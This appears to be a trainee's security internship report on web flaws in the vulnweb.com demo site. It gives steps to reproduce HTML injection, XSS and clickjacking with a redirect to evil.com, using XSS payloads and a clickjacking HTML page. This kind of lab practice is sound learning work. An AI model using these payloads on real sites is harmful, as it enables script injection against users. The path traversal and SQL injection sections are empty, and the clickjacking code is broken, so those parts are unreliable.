ShadowFox Tasks (HARD)
ShadowFox Tasks (HARD)
Task Report
Name : Manav
Domain: Cyber Security
Company: Shadowfox
Level: Hard
Batch: May, 2024
Contents of Hard level:
3 - Vulnerabilities in http://testphp.vulnweb.com/
a - Html Injection
b - Reflected XSS
c - Stored XSS
d - File Path Traversal
e - SQL Injection
f - Clickjacking + Open Redirect
• Description
• Steps to Reproduce
• Mitigations
• Proof of Concept (Screenshots)
--------------------------------------------------------------------------------
A – HTML Injection
Description:
HTML Injection is a security vulnerability that allows an attacker to
inject HTML code into web pages.
Steps to Reproduce :
-> Visit http://testphp.vulnweb.com/
-> At the search bar type this payload <h1>Hacked By Manav</h1>
-> It will be reflected Like this:
-> Now you can also enter this payload if you want this type of result
<!DOCTYPE html> <html> <head> <title>HTML marquee Tag</title>
</head> <body> <marquee>HTML INJECTION POC DONE BY MANAV
</marquee> </body> </html>
Mitigations :
- Input sanitization
- Block special characters like <> / ()
- Implement CSP Header
-------------------------------------------------------------------------------------
B – Reflected XSS
Description:
Reflected XSS is a type of attack where an attacker injects malicious
script and payloads in the websites which is then reflected back to
the user by the web application
Steps to Reproduce :
-> Visit http://testphp.vulnweb.com/
-> At search bar enter this payload
<script>prompt(document.domain)</script>
-> Then the payload will be reflected to you
-> If we will give any image link in this payload , The image will get
reflected like this
Mitigations :
- Input sanitization
- Block special characters like <> / ()
- Implement CSP Header
C – Stored XSS
Description:
Stored XSS is a type of attack where an attacker injects malicious
script and payloads in the websites which is stored in the database
and executed when users access that...
Steps to Reproduce :
-> Visit http://testphp.vulnweb.com/
-> Navigate to signup page and enter default credentials
-> You will be logged in
-> Enter this payload in the Name and email field and update it
<script>alert(1)</script>
-> It will be stored in database and after that you will get a popup
-------------------------------------------------------------------------------------
Steps to Reproduce :
-------------------------------------------------------------------------------------
E – SQL Injection
Description:
Steps to Reproduce :
-------------------------------------------------------------------------------------
F – Clickjacking + Open Redirect
Description:
Clickjacking - It is a Type of malicious method via which an attacker
convinces a user to click on something which can cause to
download malware or to redirect to some malicious websites
(which I have done in this report)...
Steps to Reproduce :
<html>
<head>
<style>
iframe{
width: 100%;
height: 585px;
border: none;
</style>
<title>ClickJacking PoC</title>
</head>
<body>
style="opacity:1"
src="
http://testphp.vulnweb.com/
"></iframe>
</body>
</html>
-> When you will open this file You will get to see website in a frame
and written CLICK HERE TO WIN THE PRIZE
-> So when you will click on Click here to win the prize
-> You will be redirected to evil.com
Mitigations :
-------------------------------------------------------------------------------------
--